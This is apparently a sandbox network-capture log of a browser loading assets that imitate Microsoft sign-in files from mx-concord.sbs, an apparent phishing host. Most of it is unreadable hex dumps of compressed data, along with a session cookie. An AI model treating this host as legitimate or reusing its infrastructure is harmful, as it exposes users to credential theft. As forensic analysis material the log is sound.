2024-08-28 20:21:06 UTC	16384	IN	Data Raw: da b3 34 27 40 2a 98 b7 69 f8 09 6a ad 35 e5 71 43 3f 29 3c e0 a3 64 99 d9 ce 17 8a 78 55 82 90 3c 01 38 95 be 00 ac c8 e1 78 0e e7 0a b3 85 d2 82 dc dd e9 42 b8 08 45 b0 b6 dd d5 8e b1 b2 b0 3c b5 ec 84 39 bf a1 cd 50 38 41 a9 0b 6a 88 9d 4a 05 b4 5e ac 14 f9 d5 82 8a 2a a7 20 74 30 ef 26 b0 c1 5e 46 5e c6 8c e0 94 50 07 21 8d d6 50 23 3b 3b 73 e5 90 56 e7 1a 61 ae e6 82 89 0e cb 4c 74 58 66 a2 27 80 bf d2 8d e7 05 f1 53 77 bb b2 2e 05 c0 39 4a fa 41 60 56 4b ec 6b a8 b0 ca ee d7 61 bb ed 98 c9 4b ec bc da 00 9d 7f 44 06 c9 21 b0 71 c9 59 38 f4 06 2e b3 26 b8 53 41 08 a8 93 14 90 c7 a7 f0 e4 12 ed 3f 43 96 4f 68 f1 ae 72 79 46 04 a7 a1 5e 47 8f b6 cf 62 67 78 b6 77 f6 e8 0f a3 b3 d3 b3 6c fc 68 78 f6 e8 6c ef ab bd 8b 2b 0a 47 6e 98 05 b2 02 66 83 d2 a4 Data Ascii: 4'@ij5qC?)<dxU<8xBE<9P8AjJ^ t0&^F^P!P#;;sVaLtXf'Sw.9JA`VKkaKD!qY8.&SA?COhryF^Gbgxwlhxl+Gnf
2024-08-28 20:21:06 UTC	16384	IN	Data Raw: df 91 f4 73 24 fd 1c 51 3f 07 6a b8 47 d2 dd 91 74 77 24 dd 1d 49 77 47 d2 dd 13 e9 ee 89 b4 7b 22 dd 3e 91 6e 9f c8 f0 9e 48 7f 4f a4 bf 27 d2 df 13 e9 ef 09 f7 d7 ed 74 e5 6f 4f fe f6 e5 ef be fc 7d 2c 7f 0f e4 af b4 eb 76 e4 af b4 ef 4a bb ae b4 eb 4a bb ae b4 eb 1e ca df 23 f9 2b fd f4 a4 9f 9e 7c bf 27 fd f4 a4 7d 4f da f7 a4 7d 4f da f7 a4 7d 9f da 1f a9 cf f5 65 38 7d e9 ae 2f c3 e9 ab f7 d2 5d 5f ba eb 4b 77 7d e9 6e 5f 86 23 50 db dd 97 7e f6 65 58 fb d2 df be f4 b7 2f fd ed 4b 7f 02 e5 5d 81 f2 ae 40 79 57 a0 bc 2b 50 de 15 28 ef 0a 94 77 05 ca bb 02 dd 5d 81 ee ae 40 77 57 a0 bb 2b e0 d2 15 e8 ee 0a 74 77 05 ba bb 07 d2 8f 40 79 57 a0 bc 2b 50 de 15 28 ef 0a 94 77 05 ca bb 02 e5 5d 81 f2 ae 40 79 57 a0 bc 2b 50 de 15 28 ef 0a 94 77 05 ca bb 02 Data Ascii: s$Q?jGtw$IwG{">nHO'toO},vJJ#+\|'}O}O}e8}/]_Kw}n_#P~eX/K]@yW+P(w]@wW+tw@yW+P(w]@yW+P(w
2024-08-28 20:21:06 UTC	3688	IN	Data Raw: e1 81 58 3b 79 bb cd ba d5 a4 dc 97 56 48 ae d9 26 0b 23 b5 af 5e bc 4d 30 87 40 99 52 37 ad 2e cc ee 53 2b b3 cd 14 1e 6c 39 85 53 c4 47 ea 24 ca 82 bf 02 fc 4b 22 ea f0 b6 50 9f 02 7a ea 40 ef 29 08 9e e9 bd d5 a9 4f 82 b0 85 84 d7 f7 83 70 6d 8b f9 0f e6 93 89 8d 6d be 4a 92 22 19 e5 3f 88 26 49 ad 04 3f 1b 7a 82 12 19 6c 4a 89 e0 da a4 ce 81 24 5d 32 d3 fd 94 01 26 4d 7d 9b a3 fb a6 f5 7d 58 7f 9b 33 7f e6 d2 61 bf 44 12 19 cf e0 6d 81 1c e7 ed f1 a9 dd 7e fe ac a7 e7 cf 03 7e 98 cf 98 b5 05 b9 14 85 03 97 cc 50 b5 2e 59 d0 52 42 73 aa e6 1c 4f cc b1 e0 4e d6 0a 42 fd 79 d6 07 72 1e 89 27 71 09 7f 07 37 75 ad 68 85 7a a1 22 2d ee b2 58 c9 99 2e f9 75 94 97 c7 62 4f 49 96 1c 9b 25 0a 9e 1d 65 af f3 30 36 b4 77 6c fa 8a 61 07 82 da 56 39 fb 6a f5 aa 51 Data Ascii: X;yVH&#^M0@R7.S+l9SG$K"Pz@)OpmmJ"?&I?zlJ$]2&M}}X3aDm~~P.YRBsONByr'q7uhz"-X.ubOI%e06wlaV9jQ
2024-08-28 20:21:06 UTC	16384	IN	Data Raw: b5 83 bf 74 d2 e5 b7 ce dd b0 f1 77 7d a8 5c fb bb be f4 17 43 ac fc d2 27 e7 ef 9a bd ef ff d2 1a f1 ce d4 8f fd 4d 6b 85 9f fa bb d0 cb 81 f4 66 aa ca 9c c7 55 12 9b b8 45 0b b5 b7 7d 92 91 b4 74 cc c5 c5 37 79 5c fa ce 0e 47 5e 1f b9 94 74 30 00 be f5 a5 60 dc 37 3d 2e 80 a0 20 84 b3 0c bf 9d 19 fa ed cc 92 7e 3b 76 67 b6 91 19 6f 5d 8a 7f 28 d4 83 ab 03 cf 57 39 c0 28 c0 e8 dd 96 1c 8a f7 f8 50 7a de 74 8e a2 46 67 35 65 56 e4 ff 2c c7 85 fd 59 91 32 56 14 29 63 25 61 03 b6 c5 9a 00 33 5f b4 ef 6c 7f 8e 23 da 60 41 e8 9d 6c f8 f1 a4 84 6f 33 03 b6 cd 3b 5f 3f 90 6e 16 75 29 f4 6c c8 d8 3f 07 32 33 01 ae 5a 4f 0a e4 06 c9 31 52 16 89 ec 21 52 56 89 48 62 da 1a 23 2b 83 d4 58 06 10 a6 c7 d8 92 21 ec 85 8e ee a5 83 56 40 e6 28 5a d5 12 db 37 da 08 a9 cd Data Ascii: tw}\C'MkfUE}t7y\G^t0`7=. ~;vgo](W9(PztFg5eV,Y2V)c%a3_l#`Alo3;_?nu)l?23ZO1R!RVHb#+X!V@(Z7
2024-08-28 20:21:06 UTC	2635	IN	Data Raw: 25 7a 3b c3 41 f5 e3 53 63 3c 39 19 0a c3 0e 0f b5 6b 4a e4 14 55 93 05 d2 ba 02 56 18 3e 3d 4a 7c 01 91 11 2b 2f 6e de 89 7a 6b 03 ae 38 67 82 8c 42 52 03 ad e6 2c 77 80 31 d8 e7 30 9e ba 0d 59 f6 1e e6 b3 bd 30 db 2c b0 27 9f d7 a6 2c 5a 5b 7c 46 7b 0a 21 7e 5e 5b 54 ac c6 4e 18 74 ed 04 27 16 e5 84 3a fd 56 71 d8 85 cb f8 55 c4 6f 75 17 0e f3 06 16 aa 01 ee 9d 24 68 17 4f 3e 16 64 cb 61 a1 1f f8 46 10 d3 e8 01 ca fb e6 76 68 d8 c4 a0 c3 40 4a 03 1c b3 42 1d 27 14 ee 2e 30 3f 34 26 15 78 3c b2 e3 c9 17 b6 63 68 f2 5e 3e ca 7a c7 fa da 34 b7 47 d1 54 e2 7f 6d 7d 5d 4a 8b 7c f4 1c 5c 4a 04 3a 7d a3 9c 36 87 8c 71 39 31 f0 ad 5a 39 0d 10 e5 87 71 39 71 0c 89 79 39 71 0a 89 69 39 71 e2 03 c1 5d 4a 9b f9 40 60 97 d2 46 3e 10 e0 a5 b4 1b 1f 88 f1 52 da a5 0f Data Ascii: %z;ASc<9kJUV>=J\|+/nzk8gBR,w10Y0,',Z[\|F{!~^[TNt':VqUou$hO>daFvh@JB'.0?4&x<ch^>z4GTm}]J\|\J:}6q91Z9q9qy9qi9q]J@`F>R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	49761	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:04 UTC	840	OUT	GET /Prefetch/Prefetch.aspx HTTP/1.1 Host: 2380eb27-b128254c.mx-concord.sbs Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://portal.mx-concord.sbs/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:06 UTC	485	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 28 Aug 2024 20:21:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cache-control: no-store, no-cache x-ms-correlation-id: 95c76bc5-92ae-45f2-a25c-0683e70d88fa x-ua-compatible: IE=Edge x-cache: CONFIG_NOCACHE x-msedge-ref: Ref A: 3CDA5A961DEB4356819F7B72A33B0E98 Ref B: VIEEDGE3910 Ref C: 2024-08-28T20:21:05Z access-control-allow-origin: * access-control-allow-headers: *
2024-08-28 20:21:06 UTC	1252	IN	Data Raw: 34 64 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 Data Ascii: 4dd<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404
2024-08-28 20:21:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.16	49762	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:07 UTC	567	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_6c7dc46bb93924417b57.js HTTP/1.1 Host: 96f04cf4-b128254c.mx-concord.sbs Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:09 UTC	746	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:09 GMT Content-Type: application/x-javascript Content-Length: 116413 Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 5874813 cache-control: public, max-age=31536000 etag: 0x8DC90CF0C1378C3 last-modified: Thu, 20 Jun 2024 02:16:51 GMT vary: Accept-Encoding x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 4b88a650-901e-008a-4819-c40366000000 x-ms-version: 2009-09-19 content-encoding: gzip
2024-08-28 20:21:09 UTC	15638	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ec bd 6b 7b da 48 b6 28 fc 7d ff 0a d0 ee a1 a5 a6 8c 01 63 ec 08 cb 8c 93 38 3d 9e 49 62 1f db 99 9e 1e 87 c9 23 43 61 94 80 c4 e8 e2 4b 1b f6 6f 7f d7 5a 55 25 95 84 b0 71 ba f7 39 1f de e9 a7 63 74 29 d5 bd d6 fd b2 fd 53 f5 bf 2a 3f 55 b6 36 ff af 72 71 79 74 7e 59 39 7d 57 b9 fc cb c9 f9 db ca 19 dc fd 5a f9 78 7a 79 f2 e6 78 f3 7a b0 51 fc 77 39 f1 a2 ca d8 9b f2 0a fc 5e bb 11 1f 55 02 bf 12 84 15 cf 1f 06 e1 3c 08 dd 98 47 95 19 fc 0d 3d 77 5a 19 87 c1 ac 12 4f 78 65 1e 06 5f f9 30 8e 2a 53 2f 8a e1 a3 6b 3e 0d ee 2a 26 54 17 8e 2a 67 6e 18 3f 54 4e ce ac 06 d4 cf a1 36 ef c6 f3 e1 eb 61 30 7f 80 eb 49 5c f1 83 d8 1b f2 8a eb 8f a8 b6 29 dc f8 11 af 24 fe 88 87 95 bb 89 37 9c 54 3e 78 c3 30 88 82 71 5c 09 f9 90 7b b7 Data Ascii: k{H(}c8=Ib#CaKoZU%q9ct)S?U6rqyt~Y9}WZxzyxzQw9^U<G=wZOxe_0S/k>&Tgn?TN6a0I\)$7T>x0q\{
2024-08-28 20:21:09 UTC	12530	IN	Data Raw: 01 d5 1c a7 61 8a c3 e7 90 53 83 44 b1 7e e1 34 a0 0a 4a 9c 4b 87 fc 2e d2 83 99 dd 6e a5 f7 22 27 a9 6a fc a0 8d 44 ae ba ce 76 4a e4 b4 59 b2 0d 7f 5c fc 13 c2 9f 02 7b 99 4a 16 5a e4 b2 28 c2 61 37 30 1f dd a7 13 3f 6e 75 5f 1f 9b fc a7 c8 5a d2 4e a5 71 8f 9d 2d e1 7e e4 39 61 cf 3b 48 28 40 3a a5 20 88 99 67 41 2d 68 81 bd 85 d5 8d e1 38 78 5b 63 d1 53 f1 04 26 62 ec 78 16 83 c7 f5 96 66 28 5d 19 ff 14 d1 96 df 42 13 45 2c e6 6d 39 f8 2d c3 e6 32 0b e8 b0 ee 1e 26 c2 25 72 cb 25 61 49 cf 43 d7 27 6f 6b 2b 53 ed 4e 51 21 3b 81 a7 93 03 b7 37 d1 7a 57 47 92 9b fa 37 81 4e 4d 11 fd 88 9c b7 68 c2 96 65 1d 55 b3 97 4d d5 75 c6 e4 86 8e d0 52 c2 99 47 0b 6b a1 f1 49 cf 2d d0 71 08 5a 64 11 58 a4 c3 80 22 c1 05 c8 4b 06 22 00 73 6e 9b 78 7f 6a 57 9d 66 39 Data Ascii: aSD~4JK.n"'jDvJY\{JZ(a70?nu_ZNq-~9a;H(@: gA-h8x[cS&bxf(]BE,m9-2&%r%aIC'ok+SNQ!;7zWG7NMheUMuRGkI-qZdX"K"snxjWf9
2024-08-28 20:21:09 UTC	16384	IN	Data Raw: 41 29 be 15 44 23 f6 51 36 31 1c e3 43 1e 94 22 34 3a fc 6a 76 e6 5a 0a ee 17 1b 11 b0 f0 52 e2 97 37 3b a6 de 45 e2 cd e5 ca e3 85 0b 81 e2 96 5c 69 64 69 e0 6a be 39 ce d3 b4 10 d2 28 7c 9f d1 a3 d3 72 98 a1 14 e3 07 b3 1e 67 8a 1c 89 0d d9 82 4a fd c0 af 07 0c 8f 13 d4 f4 4e e9 ee 78 bb e1 f4 ad 10 a5 62 84 6f 25 fc 14 f2 da 39 77 d6 2e a5 06 51 35 bf 80 d3 28 cb fd 67 5a 15 67 1a a3 65 c1 ae b9 71 55 b3 bd 91 fe ed 4b 57 49 59 c2 3e 07 be 91 06 30 fc 87 24 99 88 8c 13 aa 93 5a 4a a4 a4 0f 2c dc 8d a9 51 ca 8f 2e 96 11 82 a4 81 96 fc 37 1c 4f 3f 36 ce 24 dd 2f 22 ca 0a de 2d 2a ca 0a 5f 8b d9 22 c1 43 75 d7 64 35 99 59 27 bc 09 e3 a9 30 9e 25 69 c1 9a 24 8c 2e cb 78 8a 1e 33 21 3f f5 33 4c b1 c1 29 59 a9 7c 00 ea b5 80 0b 0f a1 ab 20 27 6f dc 21 8a b4 Data Ascii: A)D#Q61C"4:jvZR7;E\idij9(\|rgJNxbo%9w.Q5(gZgeqUKWIY>0$ZJ,Q.7O?6$/"-*_"Cud5Y'0%i$.x3!?3L)Y\| 'o!
2024-08-28 20:21:09 UTC	16384	IN	Data Raw: e9 e7 3e 14 30 6b b8 86 c5 96 cc 8b b0 c0 08 e4 fc 60 6e 33 38 53 c3 68 e4 9f 3d 3e 9e ce d9 83 5a ea 25 71 b5 2d 10 a6 80 1f ce 7a 9f 7c 31 b7 44 0d f7 14 89 3b 49 4f 49 4f d5 de a5 9b b2 3b f6 11 38 e2 f9 7c 65 d4 b8 db a9 5e 6d 7b 3b e2 d0 ee bd 10 87 f6 60 87 1f da bd ad 03 7e 68 0f 3a 2f f8 a1 dd 6b 6f f1 43 bb b7 bd cd 0f ed c1 56 9b 9f d9 83 ad 0e 9e 59 41 5c dc 53 5f 7b cb 6e 43 60 8c 6e 38 08 ae 82 9b de 96 df 81 f3 5a c8 28 58 2d 07 cf ea 75 ff 5a 87 be 82 b3 6a c9 c5 ae 69 a3 dd f2 26 ee 82 5b 83 85 44 09 ec 3d de a1 77 cc 19 86 25 46 4f 59 5f 17 7c d0 5d 8b 4a 58 43 39 bd dd 12 64 2e f0 e2 e1 4e 9b 1e 1c ed a8 1a ac 41 6e f7 9b 1e 66 aa 50 bb 1a 37 fd 0d a9 f8 6e 51 97 45 3f 94 1a ce de fe 31 6c 69 e9 b4 e1 a0 92 6b 06 05 c7 68 63 8e 01 b0 d9 Data Ascii: >0k`n38Sh=>Z%q-z\|1D;IOIO;8\|e^m{;`~h:/koCVYA\S_{nC`n8Z(X-uZji&[D=w%FOY_\|]JXC9d.NAnfP7nQE?1likhc
2024-08-28 20:21:09 UTC	16384	IN	Data Raw: b7 1e ed 59 9a 13 20 15 cc db 34 fc 04 b5 d6 9a f2 b8 a1 9f 14 1e f0 51 b2 cc 6c e7 0b 45 bc 2a 41 48 9e 00 9c 4a 5f 00 56 e4 70 3c 87 73 85 d9 42 69 41 ee ee 74 21 5c 84 22 58 db ee 6a c7 58 59 58 9e 5a 76 c2 9c df d0 66 28 9c a0 d4 05 35 c4 4e a5 02 5a 2f 56 8a fc 6a 41 45 95 53 10 3a 98 77 13 d8 60 2f 23 2f 63 46 70 4a a8 83 90 46 6b a8 91 9d 9d b9 72 48 ab 73 8d 30 57 73 c1 44 87 65 26 3a 2c 33 d1 13 c0 5f e9 c6 f3 82 f8 a9 bb 5d 59 97 02 e0 1c 25 fd 20 30 ab 25 f6 35 54 58 65 f7 eb b0 dd 76 cc e4 25 76 5e 6d 80 ce 3f 22 83 e4 10 d8 b8 e4 2c 1c 7a 03 97 59 13 dc a9 20 04 d4 49 0a c8 e3 53 78 72 89 f6 9f 21 cb 27 b4 78 57 b9 3c 23 82 d3 50 af a3 47 db 67 b1 33 3c db 3b 7b f4 87 d1 d9 e9 59 36 7e 34 3c 7b 74 b6 f7 d5 de c5 15 85 23 37 cc 02 59 01 b3 41 Data Ascii: Y 4QlE*AHJ_Vp<sBiAt!\"XjXYXZvf(5NZ/VjAES:w`/#/cFpJFkrHs0WsDe&:,3_]Y% 0%5TXev%v^m?",zY ISxr!'xW<#PGg3<;{Y6~4<{t#7YA
2024-08-28 20:21:09 UTC	16384	IN	Data Raw: 23 e9 ef 48 fa 39 92 7e 8e a8 9f 03 35 dc 23 e9 ee 48 ba 3b 92 ee 8e a4 bb 23 e9 ee 89 74 f7 44 da 3d 91 6e 9f 48 b7 4f 64 78 4f a4 bf 27 d2 df 13 e9 ef 89 f4 f7 84 fb eb 76 ba f2 b7 27 7f fb f2 77 5f fe 3e 96 bf 07 f2 57 da 75 3b f2 57 da 77 a5 5d 57 da 75 a5 5d 57 da 75 0f e5 ef 91 fc 95 7e 7a d2 4f 4f be df 93 7e 7a d2 be 27 ed 7b d2 be 27 ed 7b d2 be 4f ed 8f d4 e7 fa 32 9c be 74 d7 97 e1 f4 d5 7b e9 ae 2f dd f5 a5 bb be 74 b7 2f c3 11 a8 ed ee 4b 3f fb 32 ac 7d e9 6f 5f fa db 97 fe f6 a5 3f 81 f2 ae 40 79 57 a0 bc 2b 50 de 15 28 ef 0a 94 77 05 ca bb 02 e5 5d 81 ee ae 40 77 57 a0 bb 2b d0 dd 15 70 e9 0a 74 77 05 ba bb 02 dd dd 03 e9 47 a0 bc 2b 50 de 15 28 ef 0a 94 77 05 ca bb 02 e5 5d 81 f2 ae 40 79 57 a0 bc 2b 50 de 15 28 ef 0a 94 77 05 ca bb 02 e5 Data Ascii: #H9~5#H;#tD=nHOdxO'v'w_>Wu;Ww]Wu]Wu~zOO~z'{'{O2t{/t/K?2}o_?@yW+P(w]@wW+ptwG+P(w]@yW+P(w
2024-08-28 20:21:09 UTC	16384	IN	Data Raw: 00 94 f0 40 ac 9d bc dd 66 dd 6a 52 ee 4b 2b 24 d7 6c 93 85 91 da 57 2f de 26 98 43 a0 4c a9 9b 56 17 66 f7 a9 95 d9 66 0a 0f b6 9c c2 29 e2 23 75 12 65 c1 5f 01 fe 25 11 75 78 5b a8 4f 01 3d 75 a0 f7 14 04 cf f4 de ea d4 27 41 d8 42 c2 eb fb 41 b8 b6 c5 fc 07 f3 c9 c4 c6 36 5f 25 49 91 8c f2 1f 44 93 a4 56 82 9f 0d 3d 41 89 0c 36 a5 44 70 6d 52 e7 40 92 2e 99 e9 7e ca 00 93 a6 be cd d1 7d d3 fa 3e ac bf cd 99 3f 73 e9 b0 5f 22 89 8c 67 f0 b6 40 8e f3 f6 f8 d4 6e 3f 7f d6 d3 f3 e7 01 3f cc 67 cc da 82 5c 8a c2 81 4b 66 a8 5a 97 2c 68 29 a1 39 55 73 8e 27 e6 58 70 27 6b 05 a1 fe 3c eb 03 39 8f c4 93 b8 84 bf 83 9b ba 56 b4 42 bd 50 91 16 77 59 ac e4 4c 97 fc 3a ca cb 63 b1 a7 24 4b 8e cd 12 05 cf 8e b2 d7 79 18 1b da 3b 36 7d c5 b0 03 41 6d ab 9c 7d b5 7a Data Ascii: @fjRK+$lW/&CLVff)#ue_%ux[O=u'ABA6_%IDV=A6DpmR@.~}>?s_"g@n??g\KfZ,h)9Us'Xp'k<9VBPwYL:c$Ky;6}Am}z
2024-08-28 20:21:09 UTC	6325	IN	Data Raw: 84 83 80 9b 44 46 8e b2 e9 86 0b f7 ba c1 fe e6 c3 f1 0d b0 53 d7 2c 1c f7 2e e1 09 85 10 48 45 79 43 78 99 86 69 e6 9d c3 c3 30 be 20 49 f9 0a 97 bc 13 92 78 5e 37 fc ec dd 7c 1a ac ca 35 13 b9 46 c1 70 ba 2a 4f 2c f2 24 f7 d4 73 21 f3 c4 f1 ca 1e 0d 64 5b f1 70 7e 5f cf c7 22 df f3 34 35 dc 78 7a 11 24 7d 0f dd f4 79 5b 7b 31 66 e1 18 6f 01 90 cc f0 76 c4 53 0a 79 e7 98 57 35 43 19 79 b2 26 f0 fc 11 36 37 cc b3 37 85 e7 03 9e 9d 19 3c be 0b d2 f9 34 f3 46 f0 78 88 b2 24 ef 06 13 f1 eb 05 3e e0 c0 06 f0 f0 06 e3 15 01 27 dd 48 82 73 58 8a 20 39 e2 3d 02 6c a9 ab 99 cc 6b f7 1a a9 39 d2 18 b7 4e bd eb 85 c3 a1 cc 09 19 60 18 e3 56 31 d0 a7 34 33 17 54 70 b4 ac 27 78 1b a6 cf c9 2f e0 7c 36 a3 b0 f0 1d bc 77 08 50 fa 9d b8 83 78 3a 82 9f 51 78 01 7f c3 cc Data Ascii: DFS,.HEyCxi0 Ix^7\|5Fp*O,$s!d[p~_"45xz$}y[{1fovSyW5Cy&677<4Fx$>'HsX 9=lk9N`V143Tp'x/\|6wPx:Qx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.16	49764	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:07 UTC	778	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: 96f04cf4-b128254c.mx-concord.sbs Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://portal.mx-concord.sbs/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
2024-08-28 20:21:08 UTC	675	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 28 Aug 2024 20:21:08 GMT Content-Type: image/x-icon Transfer-Encoding: chunked Connection: close accept-ranges: bytes access-control-allow-origin: * access-control-expose-headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding age: 13543335 cache-control: public, max-age=31536000 etag: 0x8D8731240E548EB last-modified: Sun, 18 Oct 2020 03:02:30 GMT x-cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 7a43f410-d01e-00a2-125a-7eca44000000 x-ms-version: 2009-09-19
2024-08-28 20:21:08 UTC	2286	IN	Data Raw: 38 65 37 0d 0a 00 00 01 00 06 00 10 10 00 00 00 00 20 00 16 01 00 00 66 00 00 00 18 18 00 00 00 00 20 00 24 01 00 00 7c 01 00 00 20 20 00 00 00 00 20 00 35 01 00 00 a0 02 00 00 30 30 00 00 00 00 20 00 6a 01 00 00 d5 03 00 00 40 40 00 00 00 00 20 00 f3 01 00 00 3f 05 00 00 80 80 00 00 00 00 20 00 b5 01 00 00 32 07 00 00 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 06 00 00 00 1f f3 ff 61 00 00 00 dd 49 44 41 54 78 9c dd 92 31 4e 43 41 10 43 df cc 8e 44 40 b0 22 2d 65 6e c4 21 90 68 c3 15 38 40 ce c4 39 68 a8 11 22 e4 ff 00 05 93 35 4d 1a b2 bf 89 68 10 2e 2d 8d c7 b6 6c 9b eb 85 4c fc 80 50 d6 59 09 5e 6c 75 77 ff c8 95 d9 72 dc 28 cd 08 0e e0 87 c7 c7 c2 7f 77 fe 17 04 42 28 7b da 12 04 f2 26 01 46 02 a9 89 be a2 ce 4e ba 66 Data Ascii: 8e7 f $\| 500 j@@ ? 2PNGIHDRaIDATx1NCACD@"-en!h8@9h"5Mh.-lLPY^luwr(wB({&FNf
2024-08-28 20:21:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.16	49763	185.225.69.39	443	6624	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:21:07 UTC	792	OUT	GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: 96f04cf4-b128254c.mx-concord.sbs Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://portal.mx-concord.sbs/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: jMeAFY="YjEyODI1NGMtYzE2ZS00YjFmLWFhZjgtNzczZDQ1N2UyNTZiOjE1OTgzYjQ2LWRmZmYtNGVmMC1iNDgyLWVlMDQ1OWMyOTUzNA=="
